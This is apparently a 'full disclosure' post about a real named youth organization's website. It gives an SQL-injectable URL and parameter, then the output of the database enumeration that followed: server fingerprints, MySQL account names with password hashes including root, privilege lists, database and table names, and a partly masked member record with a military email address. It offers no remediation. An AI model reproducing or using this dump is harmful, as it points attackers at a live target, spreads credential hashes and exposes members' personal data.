None

-FULL DISCLOSURE-    www.demolay.org

DeMolay is an organization dedicated to preparing young men to lead successful, happy, and productive lives. Basing its approach on timeless principles and practical, hands-on experience, DeMolay opens doors for young men aged 12 to 21 by developing the civic awareness, personal responsibility and leadership skills so vitally needed in society today. DeMolay combines this serious mission with a fun approach that builds important bonds of friendship among members in more than 1,000 chapters worldwide.

Vulnerable URL
http://www.demolay.org:80/downloads/?did=14&dc=1&gid=28

parameter 'dc' is single quoted string injectable with 0 parenthesis


web server operating system: Linux CentOS
web application technology: Apache 2.2.3, PHP 5.2.5
back-end DBMS: active fingerprint: MySQL >= 5.0.11 and < 5.0.38
               comment injection fingerprint: MySQL 5.0.22

-USERS-
[*] demolaymain [1]:
    password hash: *--AA29E4C6615AFE25590A7C8D9FE3A7EFBE0DB1
[*] demolaystore [1]:
    password hash: *--6E4AEACE071A361F298069A73B5514E3D73B69
[*] phpmyadmin [1]:
    password hash: *--70F98E1DB61D40CA548233F5C4A38A476F01FB
[*] root [1]:
    password hash: *--2FE046CCB5B58A9A50E6CAD5659FC7EC7EB10B

-PRIVILEGES-
[*] 'demolaymain'@'localhost' [9]:
    privilege: ALTER
    privilege: CREATE
    privilege: CREATE TEMPORARY TABLES
    privilege: DELETE
    privilege: DROP
    privilege: INDEX
    privilege: INSERT
    privilege: SELECT
    privilege: UPDATE
[*] 'demolaystore'@'localhost' [7]:
    privilege: CREATE
    privilege: CREATE TEMPORARY TABLES
    privilege: DELETE
    privilege: DROP
    privilege: INSERT
    privilege: SELECT
    privilege: UPDATE
[*] 'phpmyadmin'@'localhost' [1]:
    privilege: USAGE
[*] 'root'@'localhost' (administrator) [25]:
    privilege: ALTER
    privilege: ALTER ROUTINE
    privilege: CREATE
    privilege: CREATE ROUTINE
    privilege: CREATE TEMPORARY TABLES
    privilege: CREATE USER
    privilege: CREATE VIEW
    privilege: DELETE
    privilege: DROP
    privilege: EXECUTE
    privilege: FILE
    privilege: INDEX
    privilege: INSERT
    privilege: LOCK TABLES
    privilege: PROCESS
    privilege: REFERENCES
    privilege: RELOAD
    privilege: REPLICATION CLIENT
    privilege: REPLICATION SLAVE
    privilege: SELECT
    privilege: SHOW DATABASES
    privilege: SHOW VIEW
    privilege: SHUTDOWN
    privilege: SUPER
    privilege: UPDATE
[*] 'root'@'s59.lc.hostirian.com' (administrator) [25]:
    privilege: ALTER
    privilege: ALTER ROUTINE
    privilege: CREATE
    privilege: CREATE ROUTINE
    privilege: CREATE TEMPORARY TABLES
    privilege: CREATE USER
    privilege: CREATE VIEW
    privilege: DELETE
    privilege: DROP
    privilege: EXECUTE
    privilege: FILE
    privilege: INDEX
    privilege: INSERT
    privilege: LOCK TABLES
    privilege: PROCESS
    privilege: REFERENCES
    privilege: RELOAD
    privilege: REPLICATION CLIENT
    privilege: REPLICATION SLAVE
    privilege: SELECT
    privilege: SHOW DATABASES
    privilege: SHOW VIEW
    privilege: SHUTDOWN
    privilege: SUPER
    privilege: UPDATE

-DATABASES-
[*] DEMOLAY
[*] DEMOLAY_DEV
[*] DEMOLAY_OLDSTORE
[*] DEMOLAY_STORE
[*] information_schema
[*] jeff
[*] mysql
[*] phpmyadmin
[*] test
[*] widget_corp

-TABLES FROM PHPMYADMIN-
+---------------------+
| pma_bookmark        |
| pma_column_info     |
| pma_designer_coords |
| pma_history         |
| pma_pdf_pages       |
| pma_relation        |
| pma_table_coords    |
| pma_table_info      |
| pma_tracking        |
+---------------------+

-TABLES FROM DEMOLAY-
+---------------------------------+
| ADVISOR_TYPE                    |
| ALERTS                          |
| ALUMNI_APPLICATION              |
| ARTICLES                        |
| ARTICLES_INDEX                  |
| BLOGS                           |
| CALENDAR_EVENTS                 |
| CALENDAR_LIST                   |
| CHAPTER_TYPES                   |
| CHAPTERS                        |
| CHAPTERS_STATUS                 |
| CHAT_QUESTIONS                  |
| CHATS                           |
| COUNTRIES                       |
| DOCUMENT                        |
| DOCUMENT_GROUP                  |
| EMAIL_VERIFICATION              |
| FEATURED_ITEMS                  |
| FEATURED_ITEMS_INDEX            |
| FEEDBACK                        |
| FEEDBACK_STATUS                 |
| FORUM_LAST_VIEWED               |
| FORUM_POSTS                     |
| FORUM_THREADS                   |
| FORUMS                          |
| HALL_OF_FAME                    |
| ISC_SESSION_ADDITIONAL_MASTER   |
| ISC_SESSION_ADDITIONAL_OPTIONS  |
| ISC_SESSION_AGE_OPTIONS         |
| ISC_SESSION_CONGRESS_ACTIVITY   |
| ISC_SESSION_GOLF_TOURNEY        |
| ISC_SESSION_HOST_CITY           |
| ISC_SESSION_HOTEL_INFO          |
| ISC_SESSION_MEAL_MASTER         |
| ISC_SESSION_MEAL_OPTIONS        |
| ISC_SESSION_MEAL_TYPES          |
| ISC_SESSION_PACKAGE_MASTER      |
| ISC_SESSION_PACKAGE_OPTIONS     |
| ISC_SESSION_PACKAGE_TYPES       |
| ISC_SESSION_PAYMENT_TYPES       |
| ISC_SESSION_PRINT_REGISTRATIONS |
| ISC_SESSION_RAWFORM_LOGS        |
| ISC_SESSION_REGISTRANTS_MASTER  |
| ISC_SESSION_REGISTRATION_GROUPS |
| ISC_SESSION_REGISTRATION_MASTER |
| ISC_SESSION_REGISTRATION_TYPES  |
| ISC_SESSION_RELATION_TYPES      |
| ISC_SESSION_ROOM_MASTER         |
| ISC_SESSION_ROOM_OPTIONS        |
| ISC_SESSION_YEARS               |
| JURISDICTION_CONTACT            |
| JURISDICTIONS                   |
| MEMBER_DETAILS                  |
| MY_CONTACTS                     |
| NAVIGATION                      |
| NAVIGATION_LEVELS               |
| ONLINE_APPLICATION              |
| ONLINE_GIVING                   |
| PERMISSION_MASTER               |
| PRIVATE_MESSAGES                |
| PROVINCES                       |
| SESSION                         |
| SESSION_ACTIVITY                |
| STATE                           |
| UPLOAD_STATUS                   |
| USER_MASTER                     |
| USER_PERMISSION_ADD             |
| USER_PERMISSION_REVOKE          |
| USER_PROFILE                    |
| USER_STATUS                     |
| USER_TITLE                      |
| USER_TYPE                       |
| VIDEO_INDEX                     |
| WORK_GROUP                      |
| WORK_GROUP_PERMISSION           |
+---------------------------------+

-FROM TABLE ALUMNI_APPLICATION-

From table "ALUMNI_APPLICATION"

r*****.****@fe.navy.mil
2009-**-30 23:33:06
R***** *. ****, PMC